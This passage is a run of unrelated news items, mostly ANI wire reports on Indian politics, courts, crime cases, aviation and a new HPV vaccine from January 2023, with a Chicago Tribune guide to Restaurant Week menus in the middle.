officers also. The women, as per the sources, are deployed in all kinds of operational duties like zero line patrolling and night observation post duties. The Force has also deployed all women floating Border Out Posts (BOPs) along the India-Bangladesh borders under its water wing. The BSF also has an all-women daredevil motorcycle team named Seema Bhawani. The BSF was raised on December 1, 1965, and it is primarily tasked with guarding international borders with Pakistan and Bangladesh. It is a unique force in the world having the elements of aviation, artillery and water wing as its assets. (ANI)
"Karnataka is one of the leading states in contributing to the economic growth of our country. This state is known for its skilled manpower and robust defense manufacturing ecosystem," Singh said while chairing the meeting via video-conferencing.

The 14th edition of 'Aero India 2023' will be held at Air Force Station, Yelahanka, Bengaluru (Karnataka) from 13 to 17 February 2023.

Singh further said that Karnataka played a significant role in conducting the world's first hybrid Aero Show- Aero India-2021.

"We successfully and safely conducted Aero India-2021, the world's first hybrid Aero Show, in Bengaluru. The state of Karnataka definitely had a very important role in this and I appreciate the state government for this," Singh further said.

Karnataka CM Basvaraj Bommai participated in the Apex Committee meeting of Aero India at Kalaburagi airport via video conferencing.

The five-day event will combine a major trade exhibition of the aerospace and defense industries as well as an aerial display by IAF.

Besides global leaders and big investors in the aerospace industry, the show will also see participation by think tanks from across the world.

According to the government official, Aero India will provide a unique opportunity for the exchange of information, ideas and new developments in the aviation industry. In addition to giving a fillip to the domestic aviation industry, it would further the cause of Make in India.

Delegates from over 55 countries and more than 540 exhibitors had participated in Aero India 2021. (ANI)
Reacting to the Supreme Court's decision to make public the RAW and Intelligence Bureau (IB) reports on the appointment of judges in the High Courts, Law and Justice Minister Kiren Rijiju on Tuesday said putting RAW and IB inputs in the public domain is a matter of serious concern. While addressing a press conference on the awards for eCourts Projects, Kiren Rijiju expressed happiness regarding the good work done by the Department of Justice and the impact it has in dispensing justice to the people. On recent comments made by Supreme Court regarding a delay in the appointments on the Collegium recommendations, the Law minister Kiren Rijiju said, "No one should make a comment on a judicial order. But, these are administrative orders and not judicial. I have seen some tweets that are making comments about NJAC is contempt. The order of the bench is totally different and this is all administrative." During the media interaction, Law Minister also raised the issue of the pendency of cases and said, "the total pendency is 4 crore 90 lakh cases in the country. Pendency in cases implies to delay in Justice. Justice delayed is justice denied." "Delivery of Justice is a crucial aspect. The only way to reduce pendency is a coordinated effort of the government and the judiciary. The pendency of a huge number of cases is a matter of concern. The pendency of cases is a major concern, technology is a major solution. We are also considering Alternate Dispute Resolution and mediation," said Rijiju. Recently, the Supreme Court Collegium has resolved to reiterate its recommendation dated November 11, 2021, for the appointment of Saurabh Kirpal as a Judge of the Delhi High Court and stressed that it needs to be processed expeditiously. Collegium mentioned the letter of the Law Minister dated April 1, 2021 which states that though "homosexuality stands de-criminalised in India, nonetheless same-sex marriage still remains bereft of recognition either in codified statutory law or uncodified personal law in India and the candidate's "ardent involvement and passionate attachment to the cause of gay rights" would not rule out the possibility of bias and prejudice. "As regards the first objection, the two communications of R&AW do not reflect any apprehension in regard to the individual conduct or behaviour of the partner of Saurabh Kirpal having a bearing on national security. There is no reason to pre-suppose that the partner of the candidate, who is a Swiss National, would be inimically disposed to our country since the country of his origin is a friendly nation," SC Collegium clarified. "Many persons in high positions including present and past holders of constitutional offices have and had spouses who are foreign Nationals. Hence, as a matter of principle, there can be no objection to the candidature of Saurabh Kirpal on the ground that his partner is a Foreign National," SC collegium pointed. "As regards the second objection, it needs to be noted that the decisions of the Constitution Bench of this Court have established the constitutional position that every individual is entitled to maintain their own dignity and individuality, based on sexual orientation," SC Collegium said. "The fact that Saurabh Kirpal has been open about his orientation is a matter which goes to his credit. As a prospective candidate for the judgeship, he has not been surreptitious about his orientation," SC Collegium said. In view of the constitutionally recognized rights which the candidate espouses, it would be manifestly contrary to the constitutional principles laid down by the Supreme Court to reject his candidature on that ground, the Collegium said. The recommendation unanimously made by the Collegium of the Delhi High Court on October 13, 2017, and approved by the Supreme Court Collegium on November 11, 2021 has been referred back to us on November 25, 2022, for reconsideration. The proposal has been pending for over five years. The SC Collegium took note of the letters of the Research & Analysis Wing (RAW) dated April 11, 2019, and March 18, 2021, and said that it appears that there are two objections to the recommendation which was made by the Collegium of this Court on November 11, 2021, approving the name of Saurabh Kirpal namely, the partner of Saurabh Kirpal is a Swiss National, and he is in an intimate relationship and is open about his sexual orientation. (ANI)
Bombay High Court while rejecting the bail plea of former police officer Pradeep Sharma has said that the NIA has not established any link between the accused Sharma and the dismissed police officer Sachin Waze. Sharma was arrested by the National Investigation Agency in connection with the Antilia terror scare case. The court observed that even the NIA has said that Sachin Waze, along with some other people, planted gelatin outside Antilia. The NIA chargesheet, however, did not mention the names of the co-conspirators of Sachin Waze with whom he had conspired to leave a car laden with the gelatin sticks outside the Ambani building. The case pertains to the murder of Thane businessman Mansukh Hiren and parking a car full of explosives outside Antilia, the residence of industrialist Mukesh Ambani. The court also observed that if such a big conspiracy was happening, then it could not be the work of Sachin Waze alone. Sharma was booked for charges including murder, criminal conspiracy, kidnapping, causing disappearance, and destruction of evidence under relevant sections of the Indian Penal Code and under provisions of the Unlawful Activities (Prevention) Act and the Arms Act. However, during the hearing of bail plea by Sharma on Monday , the advocate representing the NIA said Sachin Waze created this conspiracy along with Pradeep Sharma, while nothing to this sort was mentioned in the chargesheet. Along with this, the court has also commented that the NIA has not investigated the role of Pradeep Sharma in this respect. Long before the incident, Sachin Waze stayed in Oberoi Hotel in Mumbai for about 100 days where he used fake Aadhaar card as identity card, paid in cash. However, these things have not been investigated by NIA in this case. The NIA has not investigated the people who were also involved in the conspiracy with him. On the question of leaving a threat note in the name of the noted business family, the NIA lawyers claimed that Sachin Waze is responsible for that along with leaving a message on the Telegram channel Jaish-ul-Hind. However, no evidence or statement could be produced by the NIA in support of their claims. A bench of Justice Revati Mohite Dere and Justice RN Laddha observed that the NIA charge sheet prima facie does not mention that Pradeep Sharma was involved in the conspiracy to plant gelatin sticks in the vehicle. However, the NIA has charged the former policeman with an offence relating to the vehicle. The court said that we hope and trust that the NIA will investigate this aspect further and seriously. (ANI)
Union Home Minister Amit Shah held a meeting with Maharashtra Chief Minister Eknath Shinde and his Deputy Devendra Fadnavis at the Ministry of Home Affairs in the national capital on Tuesday. The sugar industry, and cabinet expansion among other issues are expected to be discussed, according to the sources. Further details are awaited. (ANI)
Delhi L-G VK Saxena has ordered Delhi Development Authority to redevelop Signature View Apartments at Mukherji Nagar as the building is "structurally damaged", and rehabilitate its residents. According to the official release, released on Tuesday from the LG House, LG Secretariat has also asked DDA to draw up a redevelopment and rehabilitation plan for the complex in consultation with the Resident Welfare Association (RWA). "Lt. Governor has perused the proposal of DOA with regards to the structural conditions of DOA's Signature View Apartments, Mukherji Nagar and proposed action thereto," the release stated. It has been observed that the construction work for these 336 apartments 12 MIG and 224 HIG) situated in 12 towers/blocks was awarded in 2007 to M/S Winner Constructions Pvt. Ltd. and M/S Grover Construction Pvt. Ltd with an estimated cost of Rs 29.22 crores (approx). As per the release, the project was completed in 2010 against the prescribed timeline of 2009 with the tendered cost of Rs 45 cr (approx.). While allotting these apartments, DDA also collected Rs 20.80 cr from the allottees for providing maintenance for 30 years after allotment. In the meantime, a report of Professor Shashank Bishnoi of IIT Delhi approached the LG Secretariat, raising issues of poor quality of construction of the apartment. It also pointed out that despite raising the issue repeatedly and attracting attention to an immediate threat to life and property, DDA has not taken any action. The release informed that DDA appointed Professor Shashank Bishnoi of IIT Delhi, to look into the matter and submit a report. Accordingly, the final report was submitted on November 19, 2022. As per the recommendations of the report, Tower A, B and C must be vacated and dismantled, and the structure must also be visually monitored periodically to identify any 'acceleration in corrosion'. The recommendations also termed Tower D, E, F, G, H, I, J, K and L 'not safe for habitation' and instructed them to be vacated and dismantled as soon as possible to avoid any 'loss of life'. "The entire residential Campus is not safe for habitation, Any delay in issuance of notice to the residents/allottees is not advisable," the LG office stated as it accepted the findings of the report. As per the release, the LG after going through legal contentions has said that DDA must step into the matter for larger public interest. "Inspection report Of 11T Delhi clearly highlights structural defects in the buildings which can only be attributed to flawed construction, poor oversight and supervision. which was undoubtedly the responsibility of the DDA. It is surprising that, despite collecting Rs 20.80 crroes from allottees for maintenance for 30 years, DDA is taking recourse to a legal alibi that is infructuous in the first place," the LG office stated. The release further added that, "Moreover, identified structural flaws in the construction, that would put thousands at danger are being disowned by DDA in a callous manner, despite the fact that recommendations of the Engineering Member, DDA are available on the file, suggesting a way forward. However, DDA did not bring this out in its final recommendations on the file submitted to Hon'ble Lt. Governor. This has been viewed seriously by the Lt. Governor/Chairman of DDA. The LG office termed the case of "gross negligence" and apparent "criminal misconduct" putting people at large in danger. DDA must own the responsibility for providing feasible alternatives to the allottees and take the strictest action against the responsible entity/person(s), the release added. In view of the matter, the LG has directed a number of actions to be taken 'urgently' for avoiding any untoward action The LG directed to share the entire study on the structural condition with MCD, and sharing of the report on structural condition with RWA/allottees/residents of the Signature View Apartments. Immediate initiation of criminal proceedings under the relevant provisions against the contractors/builders/construction agencies, and vigilance enquiry for identifying all officers/officials responsible for lapses/misconduct in the construction, has also been directed. Further, the release said that a committee consisting of Member Engineering: Commissioner (Housing) and CLA of DDA be constituted to interact with the RWA/allottees/residents concerned and explore options and explore options of buyback on a refund basis along with a refund of registration charges; or redevelopment of the entire property and provision or rental amount to the allottee/residents till such time as the redevelopment takes place; or exploring alternative rehabilitation in an equivalent type of available inventory of DOA and provision or rental amount to the allottee/residents till such rehabilitation takes place; or any other feasible option for the rehabilitation of the allottees/residents. offered by RWA to the committee, within seven days. The LG has desired that the compliance of the above directions be submitted to this Secretariat by January 31, the LG office stated. (ANI)
L. Rameshwor Singh, State Convenor of Ex-Servicemen Cell was reportedly shot dead by unknown miscreants at his residence in Thoubal Kshetri Leikai on Tuesday. "Anguished to learn about the murder of L. Rameshwor Singh, State Convenor of Ex-Servicemen Cell. We strongly condemned this inhumane act. The perpetrators of this heinous crime must be brought to justice and punished accordingly. We have lost a dedicated karyakarta, "tweeted BJP Manipur. https://twitter.com/BJP4Manipur/status/1617824551097991169?s=20&t=NQSdPaovcsNdcHyhX5jREg Further details awaited. (ANI)
Union Education Minister Dharmendra Pradhan on Tuesday said that Pariksha Pe Charcha, a unique and popular initiative by Prime Minister Narendra Modi has enhanced students' self-confidence and helped them manage stress and be healthy and fit. The sixth edition of Pariksha Pe Charcha will be held on January 26 at the Talkatora Stadium in the national capital. Addressing a press conference, the Education Minister said, "Total of 38 lakh participants have registered for PPC 2023 and Almost 16 lakh students of the state board have participated in the Pareeksha pe Charcha event this year. To make the PPC 2023 a national-level event, 102 students from across the country will represent different states in the event. 80 finalists from NCERT's Kala Utsav will also be present on the occasion." Pradhan said that the ministry has received almost 20 lakh questions which are being analysed by NCERT. The Minister said that the participant students will be taken to places of national importance like the Rajghat, Sadaiv Atal, and Prime Minister's museum to make them acquainted with our rich legacy. "Students will be a part of the January 26 parade at India Gate, will be engaged in Pareeksha pe Charcha on Jan 27 and will visit the Kartavya path, war memorial, Rajghat, Atal Samadhi Sthal and PMO on Jan 28. They will be our guests for beating the retreat on Jan 29," he said. He also spoke about the importance of Pariksha Pe Charcha in helping students beat exam stress, strengthening Pariksha Pe Charcha as a mass movement and the quantum jump in student participation this year. "This unique and popular initiative by Hon'ble PM Narendra Modi has enhanced students' self-confidence, helped them manage stress and be healthy and fit," he said. Pradhan said that Pareeksha pe Charcha has become an institution in itself. Prime Minister Narendra Modi would be interacting with students, teachers and parents in the upcoming 6th edition of 'Pariksha Par Charcha' on January 27. The programme will be held at Talkatora Indoor Stadium, New Delhi. Registration for the 6th edition of 'Pariksha Pe Charcha' began on November 25, 2022, and was closed on December 30, 2022. As per the official of the Ministry of Education for 'Pariksha Pe Charcha' 2023 Registrations have more than doubled this year compared to the year 2022. About 38.80 lakh participants (Students- 31.24 lakh, Teachers - 5.60 lakh, Parents - 1.95 lahks) have registered for PPC- 2023 compared to about 15.7 lahks for PPC-2022. "Students from over 150 countries, teachers from 51 countries and parents from 50 countries have also registered for PPC 2023," an Education Ministry official had told ANI. Education Ministry officials further said that students, teachers and parents have enthusiastically participated in big numbers from State Boards, CBSE, KVS, NVS and other Boards. About 2,050 participants selected through the creative writing competitions on MyGov will be presented with a special Pariksha Pe Charcha kit comprising of Exam Warriors book in Hindi and English, written by the Prime Minister and a certificate. Some of the questions by the participants, to be selected by NCERT, may feature in PPC-2023. According to the Ministry of Education, Prime Minister Narendra Modi conceptualized this unique interactive program - Pariksha Pe Charcha wherein students, parents, and teachers from across the nation and also from overseas interact with him to discuss anxieties related to examinations and life after school. The event seeks to help in overcoming stress in order to celebrate life as an 'Utsav'. This event was organized successfully for the last five years by the Department of School Education and Literacy, Ministry of Education. The programme is proposed to be in a town hall type format, as in the year 2022, while adhering to the COVID-19 protocols, as determined by the Ministry of Health. (ANI)
The Saket court is likely to take cognizance of the chargesheet on February 7.

The investigation officer filed the chargesheet before the Metropolitan Magistrate Aviral Shukla.

The investigating officer informed the court that the chargesheet contains 6,629 pages including the annexures. Following this, the judge said, "it is voluminous."

Aaftab was produced through video conferencing from Tihar Jail after the expiry of his judicial custody. Aaftab told the court that he wants to change his counsel advocate MS Khan.

After the proceedings, the court extended the judicial custody of Aaftab till February 7.

The chargesheet has been filed under sections 302, 201 and other sections of the Indian Penal Code (IPC). The court listed the matter for cognizance of the chargesheet on February 7. The court also directed to physically produce Aaftab Poonawalla on the next date of hearing.

Notably, Delhi Police filed the chargesheet before the expiry of 90 days after its investigation.

During the investigation, Delhi Police conducted the narco analysis test, polygraph test and collected the DNA evidence to establish the allegations against Aaftab.

According to sources, more than 150 witnesses were examined and their statements have been recorded. The Police also collected the voice sample of Aaftab.

Aaftab has been in custody since November 12, 2022, after his arrest in the case. He is accused of strangling his live-in partner Shraddha Walkar in May 2022 in the Mehrauli area. After the alleged strangulation, he allegedly chopped Shraddha's body into 35 pieces.

While seeking permission to obtain the voice sample, the Special Public Prosecutor (SPP) Amit Prasad submitted before the court that the voice sample is required to investigate the matter.

The court on December 23, 2022, allowed the Delhi Police plea seeking permission to obtain a voice sample of Aftab.

Sources said Delhi police had some videos and audio related to the case. Delhi Police wanted to obtain a voice sample of Aaftab to examine that evidence.

Earlier, the Saket court had dismissed the bail plea of Aaftab Poonawala after he withdrew the same. (ANI)
Air India has closed its internal investigation into the actions of its operating crew and supporting administrative staff in the alleged urination case of November 26, 2022, the airline said in a statement on Tuesday. In its statement, the carrier said, "Air India has closed its internal investigation into the actions by its crew operating and administrative staff supporting AI102 on November 26, 2022.The crew were approached by the complainant seeking assistance after allegedly being urinated on by a fellow passenger." It said in the absence of any witnesses, the crew took the complainant's allegation at face value and assisted her by providing fresh clothes, helping clean her belongings and relocating her to another business class seat of the same type as her original one. "When awoken and confronted with the allegation, the alleged perpetrator was calm, co-operative and professed ignorance of the allegation. He had not been served excessive alcohol by crew and did not appear intoxicated to the crew. The Commander was kept regularly informed by cabin crew. In the judgement of the crew, the alleged perpetrator posed no risk to flight safety at any time," the carrier stated further. "Air India acknowledges that, in immediately taking the complainant's accusation at face value and providing assistance, it follows that the matter should have been reported as a prima facie case of a passenger "...behaving in a disorderly manner toward... other passengers" and, as such, meeting the description of unruly behaviour at paragraph 4.9(d)(ii) of Civil Aviation Requirements, Section 3, Series M, Part VI (the CAR). The matter should have been classified and reported as such, without prejudice to any subsequent investigation into the facts," AI added. It said upon receipt of the voyage report, the ground staff did not challenge the crew's assessment and, therefore, also did not report the matter as an unruly incident. The airline further said considering the absence of witnesses to the alleged act, the fact that the alleged perpetrator was peaceful, co-operative and claimed ignorance of the event, that there was no risk to flight safety and that a resolution had been arrived at between the parties, the crew made a judgement call to record the matter as an (non-reportable) in-flight incident rather than a (reportable) case of unruliness. "It should also be noted that, in the absence of witnesses to the alleged act, crew were being asked to make a presumption of the accused's guilt which runs contrary to natural justice and due process," the national carrier further said. Air India also acknowledged the decision of the Directorate General of Civil Aviation (DGCA) to impose fines on the company, a ground staff and suspend the Commander's licence. The DGCA imposed a financial penalty of Rs 30 lakh on the airline for violation of applicable DGCA Civil Aviation Requirements. The aviation regulator also suspended the licence of the Pilot-In-Command of the flight for a period of three months. The Director-in-Flight services of Air India was also slapped with a financial penalty of Rs 30 lakh for failing to discharge her duties as per applicable DGCA Civil Aviation Requirements. "Air India wishes to acknowledge the good faith efforts made by the crew to handle the situation effectively in real-time, when not all facts were available," it further said. On November 26 last year, Shankar Mishra, a business-class passenger on the New York-Delhi flight, allegedly urinated on a 70-year-old woman in an inebriated condition on board. Delhi Police had registered an FIR against him on January 4 on a written complaint by the woman to Air India, under IPC sections 354, 509, and 510 and Section 23 of the Indian Aircraft Act. Both the accused and the victim are from outside Delhi. Air India banned Mishra from flying on the national carrier for four months and his employer, Wells Fargo, a US-based financial services firm, also terminated his contract in the light of the scandal. (ANI)
According to the police, four miscreants disguised as ED officers raided the businessman's office and looted Rs 25 lakh cash and three kilograms gold worth Rs 1.70 crores on Monday.

The fake ED officers also handcuffed an office employee, police said.

Police registered a case against the four accused under sections 394 (robbery), 506 (2) (Punishment for criminal intimidation) and 120 (B) (criminal conspiracy) of the Indian Penal Code (IPC).

Meanwhile, Mumbai police nabbed two persons from Mumbai's LT Marg on Tuesday morning. They are currently being interrogated, police said.

A search operation for the rest two accused is underway. (ANI)
Chief Executive Officer of Serum Institute of India (SII), Adar Poonawalla, on Tuesday announced the launch of the first made-in-India Human Papillomavirus (HPV) "CERVAVAC" vaccine, for the prevention of cervical cancer. The launch took place in the presence of Home Minister Amit Shah, Adar Poonawalla, and the Director of Government & Regulatory Affairs at Serum Institute of India, Prakash K Singh. "On the occasion of India's National Girl Child Day and Cervical Cancer Awareness Month, @SerumInstIndia is pleased to launch the first made-in-India HPV vaccine by the hands of our Hon'ble Home Minister Shri @AmitShah Ji. @PrakashKsingh7," tweeted Adar Poonawalla. 'CERVAVAC' is an outcome of a partnership of DBT and BIRAC with the Bill and Melinda Gates Foundation, supported by Serum Institute of India Private Limited for the indigenous development of quadrivalent vaccine through its partnership programme 'Grand Challenges India'. Earlier in December last, Dr NK Arora, chairman of the Covid working group, National Technical Advisory Group on Immunisation (NTAGI) had said that it is expected India to get the HPV vaccine, by April at one-tenth cost. Speaking to ANI, Dr Arora said, "There are two or three companies which are in the process (of manufacturing the vaccine in India) but the Serum Institute of India (SII) has already got the regulators' clearance and the vaccine should be available for our patients by April or May 2023." "The vaccine should be available soon. I don't know the exact cost yet but am given to understand that the cost of the vaccine will be one-tenth of the internationally-branded vaccine currently available," he added. Dr Arora further informed that almost 80,000 cases of cervical cancer occur in India every year. "During the last 24 hours, our country lost 95-100 women due to cervical cancer. India accounts for the bulk of deaths from cervical cancer in the world. Almost 80,000 cases are reportedly worldwide every year. What is important to note here is that cervical cancer is entirely preventable through vaccination. The Human Papilloma Virus or HPV causes cervical cancer and a vaccine is available which can prevent it," he added. He said the Union government will be able to roll out the HPV vaccine as part of its national health programme for girls aged between 9 and 14 years. (ANI)
Spanning just over two weeks and more than 300 restaurants, Chicago Restaurant Week is the perfect excuse to brave the cold and score some great deals at restaurants during the humdrum of winter.

But how to choose, when the city has so many tantalizing options, and only so many meals one can squeeze into 17 days? At the Tribune, we pored over menus to compare both prices and dishes offered on the hunt for the best bang for our buck.

Restaurant Week takes place this year Jan. 20 through Feb. 5. Find the full list of participating restaurants on Choose Chicagos website (choosechicago.com/chicago-restaurant-week).

Here are five Chicago Restaurant Week menus were particularly excited about for 2023, listed in alphabetical order. Remember to make your reservations early, as many of the hottest spots fill up quickly, and happy dining.

14 Parish Restaurant & Rhum Bar

If youre looking for a restaurant that is women-owned, minority-owned and serves a little taste of paradise, then you have hit the trifecta. Without a plane ticket, Chicagoans can feast on the rich flavors of the Caribbean from Chicagos own Hyde Park neighborhood.

The $59 three-course dinner menu offers twin lobster tails cooked on an open flame, paired with coconut mashed potatoes and grilled asparagus. For dessert, take your pick of beignets, key lime pie and rum-spiked caramel cake. The 14 Parish Restaurant and Rhum Bar offers in-person dining with the option of patio seating, along with takeout and delivery.

1644 E. 53rd St., 312-291-8379, 14parish.com  Tatyana Turner

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Bar Mar

Bartender Signe Knutson prepares a salt air margarita at Bar Mar on Dec. 27, 2022, in Chicago. (John J. Kim / Chicago Tribune)

I love Chicago Restaurant Week, because it appeals to my food nerd obsessions for reading menus, doing math and finding deals. Especially when celebrity chef and humanitarian Jose Andres offers a $25 five-course lunch at Bar Mar, his whimsical seafood-centric restaurant in the Loop.

But lets look at the numbers.

For your first course, you choose between the hamachi cone (normally $8 each) and Neptunes Pillows (two pieces, $6 worth). Then for your second course, choose between croquetas de pollo (normally $12) or patatas bravas (normally $10).

For your third course, choose among three options: the salmon bikini sandwich (normally not available at Bar Mar, but between $16 and $23 at Jaleo by Andres with different fillings), tuna tartare roll (normally $14), or sloppy Joe (normally $14 with potato chips)  plus Joses chips, soup or salad.

A Cobb salad and flan, both normally $12, are the default options for your fourth and fifth courses.

Thats all worth about $67, so you can save as much as a whopping $42. Its such a steal that I wondered if the courses would be super small. A call to the restaurant confirmed some would be a little smaller, but most would stay the same. In any case, this is still a deal I can highly recommend, given my recent outstanding visit for a mini review. Vamos!

120 N. Wacker Drive, 312-820-6602, thebazaar.com/location/bar-mar-chicago  Louisa Chu

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Lexington Betty Smokehouse

Tanisha Griffin Leach, left, and her wife and business partner, chef Dominique Leach, are seen at their restaurant Lexington Betty Smokehouse on East 111th Street in Chicago on Dec. 15, 2022. (Terrence Antonio James / Chicago Tribune)

Chef and pitmaster Dominique Leach just dropped not only a $25 lunch menu, but released her own line of wagyu steak dogs for retail at Lexington Betty Smokehouse in the Pullman neighborhood.

I highly recommend the three-course Restaurant Week special where you can taste not only her signature rib tips, but the wagyu dogs dressed Chicago-style.

For your first course, choose between a salmon burger slider or a Chicago-style wagyu steak dog slider. For your main, options include the beef brisket Gouda macaroni and cheese, or the rib tips and wagyu beef andouille sausage combo.

[ Review: Lexington Betty Smokehouse barbecue in Pullman is not only resilient, but resoundingly good ]

Dessert is banana pudding or peach cobbler.

I did confirm the portions are smaller, as suggested with the sliders, but normally theyre enormous. To taste the same items, you would spend as much as $40, so you can save up to $15.

I say splurge and get Leachs award-winning brisket, plus a double order of greens, which she makes with turkey tails, a secret chefs treat that almost never makes it out of the kitchen.

756 E. 111th St., 773-309-8240, lexingtonbettysmokehouse.com  L.C.

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Mango Pickle

The Mango Pickle restaurant features Indian thali-inspired dishes in Chicago, on Sept. 26, 2019. (Youngrae Kim / Chicago Tribune / Chicago Tribune)

Most restaurants try to highlight menu favorites during Restaurant Week, but its clear that chef Gregory Bazire at Mango Pickle decided to use the time to go big. The $59 dinner promises to give guests a taste of the cuisine of the Indian state of Goa, along with brief stops in Mumbai, Paris and Chicago.

Thats a lot to accomplish in a five-course meal, but the menu looks intriguing. Thats especially true of the Goan-inspired dishes, which showcase the areas Portuguese influences. The meal starts with a small bite of cafreal naan, which you can get with chicken or cremini mushrooms. Also, be on the lookout for the vindaloo with pork shoulder as a fourth course, served with duchess potatoes  nonmeat alternatives include housemade paneer or cauliflower.

5842 N. Broadway, mangopicklechicago.com  Nick Kindelsperger

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Table, Donkey & Stick

Steadfast's glassed-in charcuterie room houses cured meats from a program created by Scott Manley, executive chef of Table, Donkey & Stick. (Abel Uribe / Chicago Tribune)

One of my favorite Logan Square restaurants has had a tough month, mostly due to a plumbing issue out of its control. (Short version: When the city replaced the water main in front of the building, the restaurants water connection broke, forcing it to close for weeks.) Fortunately, the tiny spot has returned and has two great Restaurant Week options ($42 for three courses or $59 for four courses).

This allows you to score some of the shops excellent house-cured charcuterie, before moving on to the vegetable-heavy small plate section. (The four-course option adds a foie gras torchon in between.) That will set you up for a hearty finale, where you can score such filling options as the braised pork shoulder or confit duck leg (the latter requires a $4 supplement).

2728 W. Armitage Ave., 773-486-8525, tabledonkeystick.com  N.K.

food@chicagotribune.com

Big screen or home stream, takeout or dine-in, Tribune writers are here to steer you toward your next great experience. Sign up for your free weekly Eat. Watch. Do. newsletter here.
Janta Dal (Secular) (JDS) National President HD Deve Gowda to skip the concluding meeting of the Bharat Jodo Yatra in Srinagar. Deve Gowda shared the letter on Twitter written to Congress National President Mallikarjun Kharge on Twitter informing the Congress chief about it. "I was invited by Shri Mallikarjun @kharge to be part of the concluding meeting of the @bharatjodo yatra in Srinagar. I am unable to attend, but have conveyed my deep appreciation for the fete that @RahulGandhi has achieved by walking the length of the nation for harmony," he tweeted. JDS Chief and former Prime Minister of India informed about his absence but no specific reason was stated. "Dear Shri Mallikarjun Khargeji, many thanks on your letter on 10th January 2023, inviting me to the concluding function of the Bharat Jodo Yatra. It is very appropriate that the function is being organised on the day the father of the nation attained martyrdom," the letter read. The Bharat Jodo Yatra is going to be concluded on January 30, the day Mahatma Gandhi was assassinated in 1948. "I may not be able to attend the function but my wishes are with Shri Rahul Gandhi. He is fighting hatred and violence and has walked 3500 kms from Kanyakumari to Kashmir spreading the message of harmony among people. Please convey my deep appreciation to him," the letter said further. The Bharat Jodo Yatra, which started in Kanyakumari on September 7, will conclude on January 30 in Srinagar after having covered 3,970 km, 12 states, and two Union Territories. (ANI)
Attacking Rahul Gandhi for dubbing Digvijaya Singh's "surgical strike proof" remark as his "personal views", Bharatiya Janata Party on Tuesday alleged that Congress resorts to these tactics "whenever the party is trapped" due to its leaders' statements against the Armed Forces. Recalling the old statements of the Congress leaders including those of Rahul Gandhi in connection with the Armed Forces, BJP leader Ravi Shankar Prasad demanded the party to "clear its stand" over the issue of terrorism and national security. This comes after Rahul Gandhi today, during a press conference, distanced his party from a controversial statement by a senior leader, and said the Congress disagreed with Digvijaya Singh's personal comments questioning India's surgical strikes and described the statement as "ridiculous". "We disagree with Digvijaya Singh's views. The views of the party are above Digvijaya Singh's views. We don't appreciate Digvijaya Singh's personal views. We are absolutely clear that the Armed Forces do their job exceptionally well and they do not need to provide proof of that," Gandhi said, responding to reporters' questions in Jammu on the sidelines of his Bharat Jodo Yatra. Hitting back at Congress leader, Prasad, in a press conference, said that for the first time, Rahul Gandhi said that he has respect for the Army, and asked if he was not able to make Digvijaya Singh understand this in the 1000s of km of Bharat Jodo Yatra. "Rahul Gandhi said for the first time that they respect the Army. Digvijaya Singh has been walking 1000s of km with you from Kanyakumari. Weren't you able to make him understand this? Is it for the first time that he has said such a thing? When you said such a thing, you have given rise to some other questions. The BJP is going to settle the final account with you, as far as your vacillating stand on the Armed Forces is concerned. We have to remind Rahul Gandhi of his previous comments and ask if he would retreat them as well?" Prasad said. The BJP leader further listed out the previous remarks of Digvijaya, Rahul Gandhi and other Congress leaders and questioned the "training" of the party leaders today. Prasad also talked about Gandhi's "thrashing" remark on the Indian soldiers deployed along the LAC and also recalled the "Khoon ki dalali" remark after the Uri attack in Jammu and Kashmir. "On December 16, 2022, Rahul Gandhi had said that the Chinese soldiers are thrashing the Indian soldiers, this was a false and derogatory remark. On June 23, 2022, Rahul Gandhi had tweeted on the Galwan issue that has China occupied Indian land, when the Chinese were stopped from occupying the land. On October 6, 2016, Rahul Gandhi had commented on surgical strike and called the bravery of our soldiers as "Khoon ki dalali". He had also gone to the JNU where the 'Tukde Tukde Gang' was also present," he said. Prasad also mentioned Digvijaya Singh's previous statements and reminded the Congress party of his "personal views". "I'm bringing Digvijaya Singh's statements on records. He had called Zakir Naik an epitome of peace. He went to Azamgarh and met the families of the terrorists killed in the Batla House encounter. It is not the question of the personal views of your leaders, the question is the training of the Congress leaders today. The question is the level of respect that they have towards the Army," he said. "Whenever they are trapped, they only say that it is their personal view. We demand the Congress party to clear their stand over terrorism and national security. Today, the big officers of the Armed Forces have also raised questions," the BJP leader added. Digvijaya Singh's remarks on the surgical strike sparked a political storm on Monday as the BJP and the retired Armed Forces personnel slammed the Congress leader. However, Congress leader Jairam Ramesh took to Twitter to distance the party from Singh's remarks and termed the statements "his own". Meanwhile, former IAF officer Wg Cdr Praful Bakshi (retd) said on Monday that the Indian Army is not bound to give proof about the surgical strikes it conducted in Pakistan-Occupied Kashmir, adding that the government knows that sharing the details of the attack is "against the policy of the army". Wg Cdr Praful said that if Congress wants to see the proof, the party should "ask the Pakistanis". Speaking to ANI, Wg Cdr Bakshi said, "The Army does not give any proof. What proof should it give and why? If you want to know, ask the Pakistanis. If they are your friends, they will tell you, if not, they won't. Nobody can compel the Army to give proof. If the government wants to give proof, it can. But the government also knows that it would be against the policy of the Army. The Pakistanis levelled the place where the attack took place. It does not matter who says what. I think it is not even a question. The media should not react to this." The row erupted after Congress leader Digvijaya Singh said that there was no proof of the Surgical strike against Pakistan which was claimed by the Centre. "They (Centre) talk about surgical strikes and that they have killed so many of them but there is no proof," said the Congress leader in his address in Jammu on January 23. (ANI)
The Rouse Avenue Court of Delhi on Tuesday dismissed the default bail plea of Trinamool Congress (TMC) leader Anubrata Mandal in the Enforcement Directorate (ED) case related to the West Bengal Cattle Smuggling matter. Special Judge Raghubir Singh find no ground to grant relief and dismissed the bail application of the accused. Anubrata Mondal, Trinamool Congress party's president of Birbhum district Anubrata Mondal and said to be a close aide of chief minister Mamata Banerjee was earlier arrested by the CBI in connection with the same case on July 11. Recently ED has also arrested him in the alleged multi-crore cattle smuggling scam after questioned him inside the Asansol jail where he was lodged. In the case the court earlier noted that this case of ED is based upon the Scheduled Offence (CBI case), the proceedings of which are going on there at Asansol, West Bengal in a CBI Court and some accused have been running into Judicial custody in connection with those proceedings of the CBI case. During Sehegal Hussain's (another accused) hearing, the ED had agitated that sources for funding of immovable and movable assets acquired by the accused are to be ascertained and for that purpose, the accused is required to be confronted with certain other persons including his close relation so as to trace the trails of tainted money which allegedly runs into crores of rupees. In April last year, the trial court had taken cognizance on a chargesheet filed by ED against other accused naming former Trinamool Congress youth wing leader Vinay Mishra, his brother Vikas Mishra and Mohammad Enamul Haque, the alleged kingpin of a cattle smuggling racket across India-Bangladesh border. The trial Court noted that the prosecution complaint (Chargesheet) has been filed by the ED under 